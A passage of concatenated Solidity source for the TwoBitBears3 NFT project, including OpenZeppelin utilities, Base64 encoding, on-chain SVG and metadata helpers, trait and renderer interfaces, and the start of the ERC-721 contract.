1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title ISVG image library types interface /// @dev Allows Solidity files to reference the library's input and return types without referencing the library itself interface ISVGTypes { /// Represents a color in RGB format with alpha struct Color { uint8 red; uint8 green; uint8 blue; uint8 alpha; } /// Represents a color attribute in an SVG image file enum ColorAttribute { Fill, Stroke, Stop } /// Represents the kind of color attribute in an SVG image file enum ColorAttributeKind { RGB, URL } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @dev String operations with decimals library DecimalStrings { /// @dev Converts a `uint256` to its ASCII `string` representation with decimal places. function toDecimalString(uint256 value, uint256 decimals, bool isNegative) internal pure returns (bytes memory) { // Inspired by OpenZeppelin's implementation - MIT licence // https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Strings.sol uint256 temp = value; uint256 characters; do { characters++; temp /= 10; } while (temp != 0); if (characters <= decimals) { characters += 2 + (decimals - characters); } else if (decimals > 0) { characters += 1; } temp = isNegative ? 1 : 0; // reuse 'temp' as a sign symbol offset characters += temp; bytes memory buffer = new bytes(characters); while (characters > temp) { characters -= 1; if (decimals > 0 && (buffer.length - characters - 1) == decimals) { buffer[characters] = bytes1(uint8(46)); decimals = 0; // Cut off any further checks for the decimal place } else if (value != 0) { buffer[characters] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } else { buffer[characters] = bytes1(uint8(48)); } } if (isNegative) { buffer[0] = bytes1(uint8(45)); } return buffer; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "base64-sol/base64.sol"; /// @title OnChain metadata support library /** * @dev These methods are best suited towards view/pure only function calls (ALL the way through the call stack). * Do not waste gas using these methods in functions that also update state, unless your need requires it. */ library OnChain { /// Returns the prefix needed for a base64-encoded on chain svg image function baseSvgImageURI() internal pure returns (bytes memory) { return "data:image/svg+xml;base64,"; } /// Returns the prefix needed for a base64-encoded on chain nft metadata function baseURI() internal pure returns (bytes memory) { return "data:application/json;base64,"; } /// Returns the contents joined with a comma between them /// @param contents1 The first content to join /// @param contents2 The second content to join /// @return A collection of bytes that represent all contents joined with a comma function commaSeparated(bytes memory contents1, bytes memory contents2) internal pure returns (bytes memory) { return abi.encodePacked(contents1, continuesWith(contents2)); } /// Returns the contents joined with commas between them /// @param contents1 The first content to join /// @param contents2 The second content to join /// @param contents3 The third content to join /// @return A collection of bytes that represent all contents joined with commas function commaSeparated(bytes memory contents1, bytes memory contents2, bytes memory contents3) internal pure returns (bytes memory) { return abi.encodePacked(commaSeparated(contents1, contents2), continuesWith(contents3)); } /// Returns the contents joined with commas between them /// @param contents1 The first content to join /// @param contents2 The second content to join /// @param contents3 The third content to join /// @param contents4 The fourth content to join /// @return A collection of bytes that represent all contents joined with commas function commaSeparated(bytes memory contents1, bytes memory contents2, bytes memory contents3, bytes memory contents4) internal pure returns (bytes memory) { return abi.encodePacked(commaSeparated(contents1, contents2, contents3), continuesWith(contents4)); } /// Returns the contents joined with commas between them /// @param contents1 The first content to join /// @param contents2 The second content to join /// @param contents3 The third content to join /// @param contents4 The fourth content to join /// @param contents5 The fifth content to join /// @return A collection of bytes that represent all contents joined with commas function commaSeparated(bytes memory contents1, bytes memory contents2, bytes memory contents3, bytes memory contents4, bytes memory contents5) internal pure returns (bytes memory) { return abi.encodePacked(commaSeparated(contents1, contents2, contents3, contents4), continuesWith(contents5)); } /// Returns the contents joined with commas between them /// @param contents1 The first content to join /// @param contents2 The second content to join /// @param contents3 The third content to join /// @param contents4 The fourth content to join /// @param contents5 The fifth content to join /// @param contents6 The sixth content to join /// @return A collection of bytes that represent all contents joined with commas function commaSeparated(bytes memory contents1, bytes memory contents2, bytes memory contents3, bytes memory contents4, bytes memory contents5, bytes memory contents6) internal pure returns (bytes memory) { return abi.encodePacked(commaSeparated(contents1, contents2, contents3, contents4, contents5), continuesWith(contents6)); } /// Returns the contents prefixed by a comma /// @dev This is used to append multiple attributes into the json /// @param contents The contents with which to prefix /// @return A bytes collection of the contents prefixed with a comma function continuesWith(bytes memory contents) internal pure returns (bytes memory) { return abi.encodePacked(",", contents); } /// Returns the contents wrapped in a json dictionary /// @param contents The contents with which to wrap /// @return A bytes collection of the contents wrapped as a json dictionary function dictionary(bytes memory contents) internal pure returns (bytes memory) { return abi.encodePacked("{", contents, "}"); } /// Returns an unwrapped key/value pair where the value is an array /// @param key The name of the key used in the pair /// @param value The value of pair, as an array /// @return A bytes collection that is suitable for inclusion in a larger dictionary function keyValueArray(string memory key, bytes memory value) internal pure returns (bytes memory) { return abi.encodePacked("\"", key, "\":[", value, "]"); } /// Returns an unwrapped key/value pair where the value is a string /// @param key The name of the key used in the pair /// @param value The value of pair, as a string /// @return A bytes collection that is suitable for inclusion in a larger dictionary function keyValueString(string memory key, bytes memory value) internal pure returns (bytes memory) { return abi.encodePacked("\"", key, "\":\"", value, "\""); } /// Encodes an SVG as base64 and prefixes it with a URI scheme suitable for on-chain data /// @param svg The contents of the svg /// @return A bytes collection that may be added to the "image" key/value pair in ERC-721 or ERC-1155 metadata function svgImageURI(bytes memory svg) internal pure returns (bytes memory) { return abi.encodePacked(baseSvgImageURI(), Base64.encode(svg)); } /// Encodes json as base64 and prefixes it with a URI scheme suitable for on-chain data /// @param metadata The contents of the metadata /// @return A bytes collection that may be returned as the tokenURI in a ERC-721 or ERC-1155 contract function tokenURI(bytes memory metadata) internal pure returns (bytes memory) { return abi.encodePacked(baseURI(), Base64.encode(metadata)); } /// Returns the json dictionary of a single trait attribute for an ERC-721 or ERC-1155 NFT /// @param name The name of the trait /// @param value The value of the trait /// @return A collection of bytes that can be embedded within a larger array of attributes function traitAttribute(string memory name, bytes memory value) internal pure returns (bytes memory) { return dictionary(commaSeparated( keyValueString("trait_type", bytes(name)), keyValueString("value", value) )); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./RandomizationErrors.sol"; /// @title Randomization library /// @dev Lightweight library used for basic randomization capabilities for ERC-721 tokens when an Oracle is not available library Randomization { /// Returns a value based on the spread of a random uint8 seed and provided percentages /// @dev The last percentage is assumed if the sum of all elements do not add up to 100, in which case the length of the array is returned /// @param random A uint8 random value /// @param percentages An array of percentages /// @return The index in which the random seed falls, which can be the length of the input array if the values do not add up to 100 function randomIndex(uint8 random, uint8[] memory percentages) internal pure returns (uint256) { uint256 spread = (3921 * uint256(random) / 10000) % 100; // 0-255 needs to be balanced to evenly spread with % 100 uint256 remainingPercent = 100; for (uint256 i = 0; i < percentages.length; i++) { uint256 nextPercentage = percentages[i]; if (remainingPercent < nextPercentage) revert PercentagesGreaterThan100(); remainingPercent -= nextPercentage; if (spread >= remainingPercent) { return i; } } return percentages.length; } /// Returns a random seed suitable for ERC-721 attribute generation when an Oracle such as Chainlink VRF is not available to a contract /// @dev Not suitable for mission-critical code. Always be sure to perform an analysis of your randomization before deploying to production /// @param initialSeed A uint256 that seeds the randomization function /// @return A seed that can be used for attribute generation, which may also be used as the `initialSeed` for a future call function randomSeed(uint256 initialSeed) internal view returns (uint256) { // Unit tests should confirm that this provides a more-or-less even spread of randomness return uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), msg.sender, initialSeed >> 1))); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /// @dev When the percentages array sum up to more than 100 error PercentagesGreaterThan100(); // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/utils/Strings.sol"; import "../interfaces/ISVGTypes.sol"; import "./OnChain.sol"; import "./SVGErrors.sol"; /// @title SVG image library /** * @dev These methods are best suited towards view/pure only function calls (ALL the way through the call stack). * Do not waste gas using these methods in functions that also update state, unless your need requires it. */ library SVG { using Strings for uint256; /// Returns a named element based on the supplied attributes and contents /// @dev attributes and contents is usually generated from abi.encodePacked, attributes is expecting a leading space /// @param name The name of the element /// @param attributes The attributes of the element, as bytes, with a leading space /// @param contents The contents of the element, as bytes /// @return a bytes collection representing the whole element function createElement(string memory name, bytes memory attributes, bytes memory contents) internal pure returns (bytes memory) { return abi.encodePacked( "<", attributes.length == 0 ? bytes(name) : abi.encodePacked(name, attributes), contents.length == 0 ? bytes("/>") : abi.encodePacked(">", contents, "</", name, ">") ); } /// Returns the root SVG attributes based on the supplied width and height /// @dev includes necessary leading space for createElement's `attributes` parameter /// @param width The width of the SVG view box /// @param height The height of the SVG view box /// @return a bytes collection representing the root SVG attributes, including a leading space function svgAttributes(uint256 width, uint256 height) internal pure returns (bytes memory) { return abi.encodePacked(" viewBox='0 0 ", width.toString(), " ", height.toString(), "' xmlns='http://www.w3.org/2000/svg'"); } /// Returns an RGB bytes collection suitable as an attribute for SVG elements based on the supplied Color and ColorType /// @dev includes necessary leading space for all types _except_ None /// @param attribute The `ISVGTypes.ColorAttribute` of the desired attribute /// @param value The converted color value as bytes /// @return a bytes collection representing a color attribute in an SVG element function colorAttribute(ISVGTypes.ColorAttribute attribute, bytes memory value) internal pure returns (bytes memory) { if (attribute == ISVGTypes.ColorAttribute.Fill) return _attribute("fill", value); if (attribute == ISVGTypes.ColorAttribute.Stop) return _attribute("stop-color", value); return _attribute("stroke", value); // Fallback to Stroke } /// Returns an RGB color attribute value /// @param color The `ISVGTypes.Color` of the color /// @return a bytes collection representing the url attribute value function colorAttributeRGBValue(ISVGTypes.Color memory color) internal pure returns (bytes memory) { return _colorValue(ISVGTypes.ColorAttributeKind.RGB, OnChain.commaSeparated( bytes(uint256(color.red).toString()), bytes(uint256(color.green).toString()), bytes(uint256(color.blue).toString()) )); } /// Returns a URL color attribute value /// @param url The url to the color /// @return a bytes collection representing the url attribute value function colorAttributeURLValue(bytes memory url) internal pure returns (bytes memory) { return _colorValue(ISVGTypes.ColorAttributeKind.URL, url); } /// Returns an `ISVGTypes.Color` that is brightened by the provided percentage /// @param source The `ISVGTypes.Color` to brighten /// @param percentage The percentage of brightness to apply /// @param minimumBump A minimum increase for each channel to ensure dark Colors also brighten /// @return color the brightened `ISVGTypes.Color` function brightenColor(ISVGTypes.Color memory source, uint32 percentage, uint8 minimumBump) internal pure returns (ISVGTypes.Color memory color) { color.red = _brightenComponent(source.red, percentage, minimumBump); color.green = _brightenComponent(source.green, percentage, minimumBump); color.blue = _brightenComponent(source.blue, percentage, minimumBump); color.alpha = source.alpha; } /// Returns an `ISVGTypes.Color` based on a packed representation of r, g, and b /// @notice Useful for code where you want to utilize rgb hex values provided by a designer (e.g. #835525) /// @dev Alpha will be hard-coded to 100% opacity /// @param packedColor The `ISVGTypes.Color` to convert, e.g. 0x835525 /// @return color representing the packed input function fromPackedColor(uint24 packedColor) internal pure returns (ISVGTypes.Color memory color) { color.red = uint8(packedColor >> 16); color.green = uint8(packedColor >> 8); color.blue = uint8(packedColor); color.alpha = 0xFF; } /// Returns a mixed Color by balancing the ratio of `color1` over `color2`, with a total percentage (for overmixing and undermixing outside the source bounds) /// @dev Reverts with `RatioInvalid()` if `ratioPercentage` is > 100 /// @param color1 The first `ISVGTypes.Color` to mix /// @param color2 The second `ISVGTypes.Color` to mix /// @param ratioPercentage The percentage ratio of `color1` over `color2` (e.g. 60 = 60% first, 40% second) /// @param totalPercentage The total percentage after mixing (for overmixing and undermixing outside the input colors) /// @return color representing the result of the mixture function mixColors(ISVGTypes.Color memory color1, ISVGTypes.Color memory color2, uint32 ratioPercentage, uint32 totalPercentage) internal pure returns (ISVGTypes.Color memory color) { if (ratioPercentage > 100) revert RatioInvalid(); color.red = _mixComponents(color1.red, color2.red, ratioPercentage, totalPercentage); color.green = _mixComponents(color1.green, color2.green, ratioPercentage, totalPercentage); color.blue = _mixComponents(color1.blue, color2.blue, ratioPercentage, totalPercentage); color.alpha = _mixComponents(color1.alpha, color2.alpha, ratioPercentage, totalPercentage); } /// Returns a proportionally-randomized Color between the start and stop colors using a random Color seed /// @dev Each component (r,g,b) will move proportionally together in the direction from start to stop /// @param start The starting bound of the `ISVGTypes.Color` to randomize /// @param stop The stopping bound of the `ISVGTypes.Color` to randomize /// @param random An `ISVGTypes.Color` to use as a seed for randomization /// @return color representing the result of the randomization function randomizeColors(ISVGTypes.Color memory start, ISVGTypes.Color memory stop, ISVGTypes.Color memory random) internal pure returns (ISVGTypes.Color memory color) { uint16 percent = uint16((1320 * (uint(random.red) + uint(random.green) + uint(random.blue)) / 10000) % 101); // Range is from 0-100 color.red = _randomizeComponent(start.red, stop.red, random.red, percent); color.green = _randomizeComponent(start.green, stop.green, random.green, percent); color.blue = _randomizeComponent(start.blue, stop.blue, random.blue, percent); color.alpha = 0xFF; } function _attribute(bytes memory name, bytes memory contents) private pure returns (bytes memory) { return abi.encodePacked(" ", name, "='", contents, "'"); } function _brightenComponent(uint8 component, uint32 percentage, uint8 minimumBump) private pure returns (uint8 result) { uint32 wideComponent = uint32(component); uint32 brightenedComponent = wideComponent * (percentage + 100) / 100; uint32 wideMinimumBump = uint32(minimumBump); if (brightenedComponent - wideComponent < wideMinimumBump) { brightenedComponent = wideComponent + wideMinimumBump; } if (brightenedComponent > 0xFF) { result = 0xFF; // Clamp to 8 bits } else { result = uint8(brightenedComponent); } } function _colorValue(ISVGTypes.ColorAttributeKind attributeKind, bytes memory contents) private pure returns (bytes memory) { return abi.encodePacked(attributeKind == ISVGTypes.ColorAttributeKind.RGB ? "rgb(" : "url(#", contents, ")"); } function _mixComponents(uint8 component1, uint8 component2, uint32 ratioPercentage, uint32 totalPercentage) private pure returns (uint8 component) { uint32 mixedComponent = (uint32(component1) * ratioPercentage + uint32(component2) * (100 - ratioPercentage)) * totalPercentage / 10000; if (mixedComponent > 0xFF) { component = 0xFF; // Clamp to 8 bits } else { component = uint8(mixedComponent); } } function _randomizeComponent(uint8 start, uint8 stop, uint8 random, uint16 percent) private pure returns (uint8 component) { if (start == stop) { component = start; } else { // This is the standard case (uint8 floor, uint8 ceiling) = start < stop ? (start, stop) : (stop, start); component = floor + uint8(uint16(ceiling - (random & 0x01) - floor) * percent / uint16(100)); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; /// @dev When the ratio percentage provided to a function is > 100 error RatioInvalid(); // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; /// @title Base64 /// @author Brecht Devos - <[email protected]> /// @notice Provides functions for encoding/decoding base64 library Base64 { string internal constant TABLE_ENCODE = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'; bytes internal constant TABLE_DECODE = hex"0000000000000000000000000000000000000000000000000000000000000000" hex"00000000000000000000003e0000003f3435363738393a3b3c3d000000000000" hex"00000102030405060708090a0b0c0d0e0f101112131415161718190000000000" hex"001a1b1c1d1e1f202122232425262728292a2b2c2d2e2f303132330000000000"; function encode(bytes memory data) internal pure returns (string memory) { if (data.length == 0) return ''; // load the table into memory string memory table = TABLE_ENCODE; // multiply by 4/3 rounded up uint256 encodedLen = 4 * ((data.length + 2) / 3); // add some extra buffer at the end required for the writing string memory result = new string(encodedLen + 32); assembly { // set the actual output length mstore(result, encodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 3 bytes at a time for {} lt(dataPtr, endPtr) {} { // read 3 bytes dataPtr := add(dataPtr, 3) let input := mload(dataPtr) // write 4 characters mstore8(resultPtr, mload(add(tablePtr, and(shr(18, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr(12, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and(shr( 6, input), 0x3F)))) resultPtr := add(resultPtr, 1) mstore8(resultPtr, mload(add(tablePtr, and( input, 0x3F)))) resultPtr := add(resultPtr, 1) } // padding with '=' switch mod(mload(data), 3) case 1 { mstore(sub(resultPtr, 2), shl(240, 0x3d3d)) } case 2 { mstore(sub(resultPtr, 1), shl(248, 0x3d)) } } return result; } function decode(string memory _data) internal pure returns (bytes memory) { bytes memory data = bytes(_data); if (data.length == 0) return new bytes(0); require(data.length % 4 == 0, "invalid base64 decoder input"); // load the table into memory bytes memory table = TABLE_DECODE; // every 4 characters represent 3 bytes uint256 decodedLen = (data.length / 4) * 3; // add some extra buffer at the end required for the writing bytes memory result = new bytes(decodedLen + 32); assembly { // padding with '=' let lastBytes := mload(add(data, mload(data))) if eq(and(lastBytes, 0xFF), 0x3d) { decodedLen := sub(decodedLen, 1) if eq(and(lastBytes, 0xFFFF), 0x3d3d) { decodedLen := sub(decodedLen, 1) } } // set the actual output length mstore(result, decodedLen) // prepare the lookup table let tablePtr := add(table, 1) // input ptr let dataPtr := data let endPtr := add(dataPtr, mload(data)) // result ptr, jump over length let resultPtr := add(result, 32) // run over the input, 4 characters at a time for {} lt(dataPtr, endPtr) {} { // read 4 characters dataPtr := add(dataPtr, 4) let input := mload(dataPtr) // write 3 bytes let output := add( add( shl(18, and(mload(add(tablePtr, and(shr(24, input), 0xFF))), 0xFF)), shl(12, and(mload(add(tablePtr, and(shr(16, input), 0xFF))), 0xFF))), add( shl( 6, and(mload(add(tablePtr, and(shr( 8, input), 0xFF))), 0xFF)), and(mload(add(tablePtr, and( input , 0xFF))), 0xFF) ) ) mstore(resultPtr, shl(232, output)) resultPtr := add(resultPtr, 3) } } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IBear3Traits.sol"; /// @title Gen 3 TwoBitBear traits provider /// @notice Provides IBear3Traits to the blockchain interface IBear3TraitProvider{ /// Returns the traits associated with a given token ID /// @dev Throws if the token ID is not valid /// @param tokenId The ID of the token that represents the Bear /// @return traits memory function bearTraits(uint256 tokenId) external view returns (IBear3Traits.Traits memory); /// Returns whether a Gen 2 Bear (TwoBitCubs) has breeded a Gen 3 TwoBitBear /// @dev Does not throw if the tokenId is not valid /// @param tokenId The token ID of the Gen 2 bear /// @return Returns whether the Gen 2 Bear has mated function hasGen2Mated(uint256 tokenId) external view returns (bool); /// Returns whether a Gen 3 Bear has produced a Gen 4 TwoBitBear /// @dev Throws if the token ID is not valid /// @param tokenId The token ID of the Gen 3 bear /// @return Returns whether the Gen 3 Bear has been used for Gen 4 minting function generation4Claimed(uint256 tokenId) external view returns (bool); /// Returns the scar colors of a given token Id /// @dev Throws if the token ID is not valid or if not revealed /// @param tokenId The token ID of the Gen 3 bear /// @return Returns the scar colors function scarColors(uint256 tokenId) external view returns (IBear3Traits.ScarColor[] memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title Gen 3 TwoBitBear traits /// @notice Describes the traits of a Gen 3 TwoBitBear interface IBear3Traits { /// Represents the backgrounds of a Gen 3 TwoBitBear enum BackgroundType { White, Green, Blue } /// Represents the scars of a Gen 3 TwoBitBear enum ScarColor { None, Blue, Magenta, Gold } /// Represents the species of a Gen 3 TwoBitBear enum SpeciesType { Brown, Black, Polar, Panda } /// Represents the mood of a Gen 3 TwoBitBear enum MoodType { Happy, Hungry, Sleepy, Grumpy, Cheerful, Excited, Snuggly, Confused, Ravenous, Ferocious, Hangry, Drowsy, Cranky, Furious } /// Represents the traits of a Gen 3 TwoBitBear struct Traits { BackgroundType background; MoodType mood; SpeciesType species; bool gen4Claimed; uint8 nameIndex; uint8 familyIndex; uint16 firstParentTokenId; uint16 secondParentTokenId; uint176 genes; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IBear3Traits.sol"; /// @title Main Tech for Gen 3 TwoBitBear rendering /// @dev Supports the ERC-721 contract interface IBearRenderTech { /// Returns the text of a background based on the supplied type /// @param background The BackgroundType /// @return The background text function backgroundForType(IBear3Traits.BackgroundType background) external pure returns (string memory); /// Creates the SVG for a Gen 3 TwoBitBear given its IBear3Traits.Traits and Token Id /// @dev Passes rendering on to a specific species' IBearRenderer /// @param traits The Bear's traits structure /// @param tokenId The Bear's Token Id /// @return The raw xml as bytes function createSvg(IBear3Traits.Traits memory traits, uint256 tokenId) external view returns (bytes memory); /// Returns the family of a Gen 3 TwoBitBear as a string /// @param traits The Bear's traits structure /// @return The family text function familyForTraits(IBear3Traits.Traits memory traits) external view returns (string memory); /// @dev Returns the ERC-721 for a Gen 3 TwoBitBear given its IBear3Traits.Traits and Token Id /// @param traits The Bear's traits structure /// @param tokenId The Bear's Token Id /// @return The raw json as bytes function metadata(IBear3Traits.Traits memory traits, uint256 tokenId) external view returns (bytes memory); /// Returns the text of a mood based on the supplied type /// @param mood The MoodType /// @return The mood text function moodForType(IBear3Traits.MoodType mood) external pure returns (string memory); /// Returns the name of a Gen 3 TwoBitBear as a string /// @param traits The Bear's traits structure /// @return The name text function nameForTraits(IBear3Traits.Traits memory traits) external view returns (string memory); /// Returns the scar colors of a bear with the provided traits /// @param traits The Bear's traits structure /// @return The array of scar colors function scarsForTraits(IBear3Traits.Traits memory traits) external view returns (IBear3Traits.ScarColor[] memory); /// Returns the text of a scar based on the supplied color /// @param scarColor The ScarColor /// @return The scar color text function scarForType(IBear3Traits.ScarColor scarColor) external pure returns (string memory); /// Returns the text of a species based on the supplied type /// @param species The SpeciesType /// @return The species text function speciesForType(IBear3Traits.SpeciesType species) external pure returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IBear3Traits.sol"; /// @title Bear RenderTech provider /// @dev Provides IBearRenderTech to an IBearRenderer interface IBearRenderTechProvider { /// Represents a point substitution struct Substitution { uint matchingX; uint matchingY; uint replacementX; uint replacementY; } /// Generates an SVG <polygon> element based on a points array and fill color /// @param points The encoded points array /// @param fill The fill attribute /// @param substitutions An array of point substitutions /// @return A <polygon> element as bytes function dynamicPolygonElement(bytes memory points, bytes memory fill, Substitution[] memory substitutions) external view returns (bytes memory); /// Generates an SVG <linearGradient> element based on a points array and stop colors /// @param id The id of the linear gradient /// @param points The encoded points array /// @param stop1 The first stop attribute /// @param stop2 The second stop attribute /// @return A <linearGradient> element as bytes function linearGradient(bytes memory id, bytes memory points, bytes memory stop1, bytes memory stop2) external view returns (bytes memory); /// Generates an SVG <path> element based on a points array and fill color /// @param path The encoded path array /// @param fill The fill attribute /// @return A <path> segment as bytes function pathElement(bytes memory path, bytes memory fill) external view returns (bytes memory); /// Generates an SVG <polygon> segment based on a points array and fill colors /// @param points The encoded points array /// @param fill The fill attribute /// @return A <polygon> segment as bytes function polygonElement(bytes memory points, bytes memory fill) external view returns (bytes memory); /// Generates an SVG <rect> element based on a points array and fill color /// @param widthPercentage The width expressed as a percentage of its container /// @param heightPercentage The height expressed as a percentage of its container /// @param attributes Additional attributes for the <rect> element /// @return A <rect> element as bytes function rectElement(uint256 widthPercentage, uint256 heightPercentage, bytes memory attributes) external view returns (bytes memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@theappstudio/solidity/contracts/interfaces/ISVGTypes.sol"; import "./IBear3Traits.sol"; import "./ICubTraits.sol"; /// @title Gen 3 TwoBitBear Renderer /// @dev Renders a specific species of a Gen 3 TwoBitBear interface IBearRenderer { /// The eye ratio to apply based on the genes and token id /// @param genes The Bear's genes /// @param eyeColor The Bear's eye color /// @param scars Zero, One, or Two ScarColors /// @param tokenId The Bear's Token Id /// @return The eye ratio as a uint8 function customDefs(uint176 genes, ISVGTypes.Color memory eyeColor, IBear3Traits.ScarColor[] memory scars, uint256 tokenId) external view returns (bytes memory); /// Influences the eye color given the dominant parent /// @param dominantParent The Dominant parent bear /// @return The eye color function customEyeColor(ICubTraits.TraitsV1 memory dominantParent) external view returns (ISVGTypes.Color memory); /// The eye ratio to apply based on the genes and token id /// @param genes The Bear's genes /// @param eyeColor The Bear's eye color /// @param tokenId The Bear's Token Id /// @return The eye ratio as a uint8 function customSurfaces(uint176 genes, ISVGTypes.Color memory eyeColor, uint256 tokenId) external view returns (bytes memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ICubTraits.sol"; /// @title TwoBitCubs NFT Interface for provided ICubTraits interface ICubTraitProvider{ /// Returns the family of a TwoBitCub as a string /// @param traits The traits of the Cub /// @return The family text function familyForTraits(ICubTraits.TraitsV1 memory traits) external pure returns (string memory); /// Returns the text of a mood based on the supplied type /// @param moodType The CubMoodType /// @return The mood text function moodForType(ICubTraits.CubMoodType moodType) external pure returns (string memory); /// Returns the mood of a TwoBitCub based on its TwoBitBear parents /// @param firstParentTokenId The ID of the token that represents the first parent /// @param secondParentTokenId The ID of the token that represents the second parent /// @return The mood type function moodFromParents(uint256 firstParentTokenId, uint256 secondParentTokenId) external view returns (ICubTraits.CubMoodType); /// Returns the name of a TwoBitCub as a string /// @param traits The traits of the Cub /// @return The name text function nameForTraits(ICubTraits.TraitsV1 memory traits) external pure returns (string memory); /// Returns the text of a species based on the supplied type /// @param speciesType The CubSpeciesType /// @return The species text function speciesForType(ICubTraits.CubSpeciesType speciesType) external pure returns (string memory); /// Returns the v1 traits associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the Cub /// @return traits memory function traitsV1(uint256 tokenId) external view returns (ICubTraits.TraitsV1 memory traits); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@theappstudio/solidity/contracts/interfaces/ISVGTypes.sol"; /// @title ICubTraits interface interface ICubTraits { /// Represents the species of a TwoBitCub enum CubSpeciesType { Brown, Black, Polar, Panda } /// Represents the mood of a TwoBitCub enum CubMoodType { Happy, Hungry, Sleepy, Grumpy, Cheerful, Excited, Snuggly, Confused, Ravenous, Ferocious, Hangry, Drowsy, Cranky, Furious } /// Represents the DNA for a TwoBitCub /// @dev organized to fit within 256 bits and consume the least amount of resources struct DNA { uint16 firstParentTokenId; uint16 secondParentTokenId; uint224 genes; } /// Represents the v1 traits of a TwoBitCub struct TraitsV1 { uint256 age; ISVGTypes.Color topColor; ISVGTypes.Color bottomColor; uint8 nameIndex; uint8 familyIndex; CubMoodType mood; CubSpeciesType species; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "@theappstudio/solidity/contracts/utils/OnChain.sol"; import "@theappstudio/solidity/contracts/utils/Randomization.sol"; import "../interfaces/IBear3TraitProvider.sol"; import "../interfaces/ICubTraitProvider.sol"; import "../utils/BearRenderTech.sol"; import "../utils/TwoBitBears3Errors.sol"; import "./TwoBitCubs.sol"; /// @title TwoBitBears3 contract TwoBitBears3 is ERC721, IBear3TraitProvider, IERC721Enumerable, Ownable { /// @dev Reference to the BearRenderTech contract IBearRenderTech private immutable _bearRenderTech; /// @dev Stores the cubs Adult Age so that it doesn't need to be queried for every mint uint256 private immutable _cubAdultAge; /// @dev Precalculated eligibility for cubs uint256[] private _cubEligibility; /// @dev Stores bear token ids that have already minted gen 4 mapping(uint256 => bool) private _generation4Claims; /// @dev The contract for Gen 4 address private _gen4Contract; /// @dev Stores cub token ids that have already mated mapping(uint256 => bool) private _matedCubs; /// @dev Seed for randomness uint256 private _seed; /// @dev Array of TokenIds to DNA uint256[] private _tokenIdsToDNA; /// @dev Reference to the TwoBitCubs contract TwoBitCubs private immutable _twoBitCubs; /// Look...at these...Bears constructor(uint256 seed, address renderTech, address twoBitCubs) ERC721("TwoBitBears3", "TB3") { _seed = seed; _bearRenderTech = IBearRenderTech(renderTech); _twoBitCubs = TwoBitCubs(twoBitCubs); _cubAdultAge = _twoBitCubs.ADULT_AGE(); } /// Applies calculated slots of gen 2 eligibility to reduce gas function applySlots(uint256[] calldata slotIndices, uint256[] calldata slotValues) external onlyOwner { for (uint i = 0; i < slotIndices.length; i++) { uint slotIndex = slotIndices[i]; uint slotValue = slotValues[i]; if (slotIndex >= _cubEligibility.length) { while (slotIndex > _cubEligibility.length) { _cubEligibility.push(0); } _cubEligibility.push(slotValue); } else if (_cubEligibility[slotIndex] != slotValue) { _cubEligibility[slotIndex] = slotValue; } } } /// Assigns the Gen 4 contract address for message caller verification function assignGen4(address gen4Contract) external onlyOwner { if (gen4Contract == address(0)) revert InvalidAddress(); _gen4Contract = gen4Contract; } /// @inheritdoc IBear3TraitProvider function bearTraits(uint256 tokenId) external view onlyWhenExists(tokenId) returns (IBear3Traits.Traits memory) { return _traitsForToken(tokenId); } /// Calculates the current values for a slot function 